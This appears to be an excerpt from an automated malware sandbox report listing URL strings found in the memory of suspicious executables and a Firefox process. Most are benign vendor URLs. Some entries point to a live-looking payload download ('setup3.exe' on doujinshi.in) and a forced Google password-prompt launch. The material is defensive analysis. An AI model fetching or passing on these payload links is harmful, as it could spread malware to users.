Source: 90c05232da.exe, 00000011.00000003.2966317602.00000000056AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3310536255.0000028B3BD08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 90c05232da.exe, 00000011.00000003.2966317602.00000000056AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3310536255.0000028B3BD08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: 90c05232da.exe, 00000011.00000003.2966317602.00000000056AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3310536255.0000028B3BD08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: skotes.exe, 0000000E.00000003.7173903812.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 0000000E.00000003.7173903812.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: 90c05232da.exe, 00000011.00000003.2966317602.00000000056AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3310536255.0000028B3BD08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 90c05232da.exe, 00000011.00000003.2966317602.00000000056AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3310536255.0000028B3BD08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 90c05232da.exe, 00000011.00000003.2966317602.00000000056AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3310536255.0000028B3BD08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 90c05232da.exe, 00000011.00000003.2966317602.00000000056AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3310536255.0000028B3BD08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: skotes.exe, 0000000E.00000003.7173903812.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 0000000E.00000003.7173903812.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: firefox.exe, 00000024.00000002.3298635178.0000028B3B833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000024.00000002.3339987753.0000028B3D537000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3296809741.0000028B3B368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000024.00000003.3170334553.0000028B439CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000024.00000003.3170334553.0000028B439CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://doujinshi.in/drhytrfhb43765uy/setup3.exe
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://doujinshi.in/drhytrfhb43765uy/setup3.exe5
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://doujinshi.in/drhytrfhb43765uy/setup3.exeK
Source: firefox.exe, 00000024.00000002.3296809741.0000028B3B368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 00000024.00000002.3296809741.0000028B3B368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 00000024.00000002.3296809741.0000028B3B368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#-
Source: firefox.exe, 00000024.00000003.3187893571.0000028B43BF6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3296809741.0000028B3B368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 00000024.00000002.3392785281.00000BB71F300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enableBookmarksToolbar
Source: firefox.exe, 00000024.00000002.3392785281.00000BB71F300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/0#
Source: firefox.exe, 00000024.00000002.3367174181.0000028B43473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3344727910.0000028B3E38B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.3125140157.0000028B3B1DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3287996082.0000028B3A94E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3295087822.0000028B3B1E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3323632389.0000028B3C8F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.3205305753.0000028B3C76B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3344727910.0000028B3E33A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3320164792.0000028B3C703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3328541386.0000028B3D28D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.3125140157.0000028B3B1B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3390734712.0000028E0003F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3339987753.0000028B3D537000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.3125140157.0000028B3B1BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3344727910.0000028B3E3EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3320756684.0000028B3C778000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3320756684.0000028B3C771000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.3116197796.0000028B3AD58000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.3122952215.0000028B3A5D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3367174181.0000028B4345D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 00000024.00000002.3392785281.00000BB71F300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/Z
Source: 90c05232da.exe, 00000011.00000003.2966317602.00000000056AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3310536255.0000028B3BD08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 90c05232da.exe, 00000011.00000003.2966317602.00000000056AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3310536255.0000028B3BD08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: skotes.exe, 0000000E.00000003.7173903812.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000024.00000002.3367174181.0000028B4345D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3367174181.0000028B4345D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sget
Source: ba324316e4.exe, 00000012.00000002.3525210722.000000006CE4D000.00000002.00000001.01000000.0000001B.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 00000024.00000002.3348481566.0000028B3E603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 00000024.00000002.3298635178.0000028B3B833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp, firefox.exe, 00000024.00000002.3310536255.0000028B3BD08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3296190488.0000028B3B203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3238840239.0000028B37324000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3238840239.0000028B373B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3238840239.0000028B373A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.3171859236.0000028B3D4DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul(
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulR
Source: firefox.exe, 00000024.00000002.3238840239.0000028B373B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulStale
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/toolba
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulsrc=image
Source: ba324316e4.exe, 00000012.00000002.3522434222.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000002.3516160227.0000000005B55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 90c05232da.exe, 00000011.00000003.2966317602.00000000056AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3310536255.0000028B3BD08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3367174181.0000028B4345D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 90c05232da.exe, 00000011.00000003.2966317602.00000000056AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3310536255.0000028B3BD08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3367174181.0000028B4345D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000024.00000002.3298635178.0000028B3B861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://youtube.com/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 00000024.00000002.3298635178.0000028B3B833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://MD8.mozilla.org/1/m
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.3106495286.0000028B3AA00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/LOAD_DOCUMENT_NEEDS_COOKIEget
Source: 90c05232da.exe, 00000011.00000003.2908620157.00000000056BD000.00000004.00000800.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.2908868653.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000003.3133729628.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 00000024.00000002.3379908173.0000028B43911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000024.00000002.3225255924.0000028B2AAD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser-check--disable-popup-blockin
Source: firefox.exe, 00000024.00000002.3270210836.0000028B38CFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-users/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 00000024.00000002.3311551050.0000028B3BE08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3310536255.0000028B3BD9A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3310536255.0000028B3BD86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3298635178.0000028B3B8F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000024.00000002.3298635178.0000028B3B861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 00000024.00000002.3339987753.0000028B3D537000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 00000024.00000002.3339987753.0000028B3D537000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://baidu.com
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: 90c05232da.exe, 00000011.00000003.2968055003.0000000005686000.00000004.00000800.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000002.3518847270.000000000BB82000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3231212215.0000028B365AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3257337138.0000028B3823B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: 90c05232da.exe, 00000011.00000003.2968055003.0000000005686000.00000004.00000800.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000002.3518847270.000000000BB82000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3231212215.0000028B365AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3257337138.0000028B3823B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: firefox.exe, 00000024.00000003.3172891598.0000028B3C1FC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3257337138.0000028B38229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp, firefox.exe, 00000024.00000002.3238840239.0000028B373B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 00000024.00000002.3238840239.0000028B373B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180menuitem-iconic
Source: 90c05232da.exe, 00000011.00000003.2908620157.00000000056BD000.00000004.00000800.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.2908868653.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000003.3133729628.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 90c05232da.exe, 00000011.00000003.2908620157.00000000056BD000.00000004.00000800.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.2908868653.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000003.3133729628.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 90c05232da.exe, 00000011.00000003.2908620157.00000000056BD000.00000004.00000800.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.2908868653.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000003.3133729628.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.3106495286.0000028B3AA00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000024.00000002.3298635178.0000028B3B858000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 00000024.00000002.3357886781.0000028B3ED47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3368595226.0000028B435DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: 90c05232da.exe, 00000011.00000003.2968055003.0000000005686000.00000004.00000800.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000002.3518847270.000000000BB82000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3231212215.0000028B365AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3257337138.0000028B3823B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: 90c05232da.exe, 00000011.00000003.2968055003.0000000005686000.00000004.00000800.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000002.3518847270.000000000BB82000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3231212215.0000028B365AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3257337138.0000028B3823B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000024.00000002.3339987753.0000028B3D537000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3368595226.0000028B435DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 00000024.00000002.3368595226.0000028B435DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 00000024.00000002.3368595226.0000028B435DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 00000024.00000002.3310536255.0000028B3BD08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored
Source: firefox.exe, 00000024.00000002.3320756684.0000028B3C771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000024.00000002.3377476059.0000028B438BD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3396524440.0000172D15904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 00000024.00000002.3397527526.00001DA2A5E04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/Z
Source: 90c05232da.exe, 00000011.00000003.2908620157.00000000056BD000.00000004.00000800.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.2908868653.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000003.3133729628.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 90c05232da.exe, 00000011.00000003.2908620157.00000000056BD000.00000004.00000800.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.2908868653.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000003.3133729628.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 90c05232da.exe, 00000011.00000003.2908620157.00000000056BD000.00000004.00000800.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.2908868653.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000003.3133729628.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/URIFixup.sys.mjs
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://ebay.com
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%ssetSlowScriptDebugHandler/debugService.remoteActiv
